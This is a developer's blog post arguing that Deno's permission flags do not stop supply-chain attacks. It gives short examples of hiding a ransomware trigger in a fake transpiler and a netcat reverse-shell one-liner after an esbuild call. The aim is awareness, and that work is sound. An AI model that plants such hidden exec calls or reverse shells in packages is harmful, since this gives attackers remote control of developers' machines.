Cybersecurity attacks using Deno

07/12/2022

Recently, I've been learning more about cybersecurity and have been running some experiments on myself, trying to run attacks via Node.js modules. When I'm sharing what I learn, a reaction I've seen people have is to mention Deno, "With Deno, it shouldn't happen so hopefully with more adoption, it will fix this.". Even though Deno is more secure by default, we need to be careful when positioning a single tool as the way to fix the problem. The risk of supply-chain attacks using Deno still exists so I decided to look into running ransomware and reverse shell attacks to show how it could be done.

⚠️ Important notes ⚠️
  • I am writing this blog post for educational purposes only. Running cybersecurity attacks without consent is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
  • I am not taking any responsibility for how you decide to use the information shared in this post.

Before I start, let's make sure we're on the same page, I'm not telling you not to use Deno.

"The easiest, most secure JavaScript runtime"

The main aspect of Deno that makes it look more secure to me is the use of flags to explicitely set permissions. For example, if a package needs to read or write to files on your system, you will need to use the flags --allow-read and --allow-write when running your code. If you don't, you will need to accept or reject these every time a piece of code needs these permissions. However, if you use one of these flags without passing extra parameters, it will set the permission generally, unless you specify which files have which permission. This can turn the command into something quite lengthy, and potentially means you have to update these parameters when you modify your codebase.

Knowing that, I automatically thought it wouldn't surprise me if a lot of developers ended up simply using the flag --allow-all or -A to allow all permissions once, and a quick GitHub search confirmed that. Searching for the command deno run on GitHub shows that a lot of people who use Deno and committed their code used the --allow-all or -A flag, or use flags without passing parameters to give permissions only to certain files or URLs. It defeats the purpose of having flags to explicitely set permissions but I'm not surprised at all that people would choose what is convenient over having to type a long command such as --allow-read=/usr,/tmp --allow-run=cat,whoami --allow-env --allow-write --allow-net=github.com,deno.land or set up a config file and spend time even figuring out what needs permissions vs. what doesn't.

Besides, even if --allow-all was not available, I'm not sure people would always understand the need for certain permissions.

For example, I tried the code below:

import { exec } from "https://deno.land/std@0.167.0/node/child_process.ts";

exec("echo 'Bla' > test.txt")

I'm importing the exec function from child_process, part of the Deno standard library, and I call it to write the text Bla in the file test.txt.

If I run this code with deno run index.ts, it will ask me for certain permissions before executing the code.

It needs both read and run permissions. Even though I understand why it needs the run permission, I didn't necessarily understand why it needed the read one but I accepted anyway, and that's exactly one of the issue that can't be fixed with a tool. This example is small, but in reality, I don't have the time to read the entire source code of a package I'm using so I can understand why it needs a certain permission. The read permission could be used maliciously to try to read environment variables for example, but I can expect most developers will accept whatever prompt is shown by the CLI, if it means they can keep going and build their app.

Running a ransomware attack in Deno

Usually, a ransomware attack needs to create some files on your machine. As an attacker, I could try to hide it in what would look like a legitimate package that would require read and write permissions, such as a linter or transpiler.

As an example, here's a very fake tiny transpiler, that generates the equivalent Python code from an add JavaScript function.

The JavaScript code to transpile:

function add(a,b){
    return a + b;
}

console.log(add(1,2))

The very fake transpiler:

// index.ts
const init = async () => {
    const text = await Deno.readTextFile("./sample.js");
    const splitText = text.split(" ").filter(t => t !== "")
    const newCode = [];

    splitText.map(c => {
        if(c === "function"){
            newCode.push("def")
        } else if(c.includes('console.log')){ 
            newCode.push(c.replace('console.log', 'print'))
        } else if (c.includes("{")){
            newCode.push(c.replace("{", ":"))
        } else {
            newCode.push(c)
        }
    })
    
    const transpiledCode = newCode.join(' ').replace(';', '').replace("}", "")

    await Deno.writeTextFile("./sample.py", transpiledCode);
}

init()

The generated Python code:

def add(a,b):
 return a + b

print(add(1,2))

When running this code with deno run index.ts, I am asked for read and write permissions to access my local files and generate the Python files. As a user, it makes sense to me to accept the requests but I'm unlikely to want to do this for every single file in my codebase. As an alternative, I would either use a path to a folder as parameter or use the --allow-all flag, but both these options are now putting me at risk.

If I use a package that contains malicious code that creates a ransomware file on my machine, this file can live in the same folder as where the Python files are created. As an attacker, I wouldn't care because the ransomware script would automatically encrypt all files anyway as soon as it's run, which would require the --allow-run flag so let's talk about that one.

To run some ransomware code hidden into a bash script, I would need to be able to run bash commands so I'd need the user to enable the --allow-run flag. Some popular tools currently used by developers run bash commands, for example, when contributing to Babel, you might need to run make build or ESLint has a CLI tool, so I could pretend that my transpiler needs to run a bash command to auto-run the converted Python files and check for errors, and that wouldn't seem malicious from a user point of view.

If my package pretends to run my Python file with this code:

import { exec } from "https://deno.land/std@0.167.0/node/child_process.ts";

exec("python3 sample.py")

Deno asks for the permission to run code using /bin/sh: Deno requests run access to "/bin/sh". Once accepted, Deno grants the permission Granted run access to "/bin/sh", but I could write code that checks for when the permission is granted and as soon as it is, run my ransomware script without Deno asking me again because the permission to use /bin/sh is already granted.

import { exec } from "https://deno.land/std@0.167.0/node/child_process.ts";

exec("python3 sample.py")

exec("echo 'All your files are encrypted. Pay me in crypto' > gotcha.txt")

The second exec command here only creates a file and appends some text, I'm not showing the code needed to actually encrypt files but if you're interested, I already wrote another post about it.

This is a pretty obvious example of malicious code that would easily ring alarm bells if you saw it in the wild. However, with some extra work, I don't believe it would be too difficult to run a successful ransomware attack this way.

Running a reverse shell in Deno

A reverse shell might even be easier as it would only require the run permission.

If an attacker creates a package that seems to genuinely need to run bash commands, for example a CLI tool, anything running with the system shell can be run afterwards.

For example, you could have a package that runs esbuild:

import { exec } from "https://deno.land/std@0.167.0/node/child_process.ts";
import * as esbuild from 'https://deno.land/x/esbuild@v0.14.48/mod.js'
const ts = 'let test: boolean = true'
const result = await esbuild.transform(ts, { loader: 'ts' })
console.log('result:', result)

exec("nc 127.0.0.0 80 | /bin/sh | nc 127.0.0.0 53 &")

To run this program without having to accept multiple permission requests, you'd have to run this with deno run --allow-read --allow-run --allow-env index.ts but that would also allow the reverse shell to be executed and the user would have no idea.

Why am I doing this?

Again, I'm not here to tell you not to use Deno. I don't believe the risks of cybersecurity attacks are related to specific tools we use, but more the lack of awareness of how these attacks are run. The core issue here is that we're working in a trust-based system and, unfortunately, it can be dangerous. The tech industry now relies on a foundation made of open-source software and as amazing as it is, we also need to be aware of the risks we're taking, not only for ourselves but also the people and companies we work with.

I am very surprised I had never heard of all of this until recently, either from teams I've worked with or overall in the developer community, and I think a lot of people just don't know. There's only one company I've worked at that had security measures in place to prevent the installation of some open-source packages on people's main work computer. Even though it's nice to have some guardrails, it can also be annoying not to be able to install certain popular tools.

It's easy to think that this will never happen to you or to assume that every author of open-source packages has good intent and in a way, the vast majority does, but mistakes happen and you only need to install one bad package for an attacker to have access to the files on your computer, steal copies of your ID documents, and commit identity theft... Also, remember that your work computer can be a gateway to your company's data, so even if you don't care about your personal privacy, these attacks can have a broader impact.

I'm not saying it's all doom and gloom, I'm only warry of hearing people mention one tool as if the tool itself is going to fix things.

Overall, I'm glad Deno is implementing more security features by default and I'm hoping the ecosystem will move that way, however, if education isn't done around supply-chain attacks, I don't believe these features will be used as they are intended to.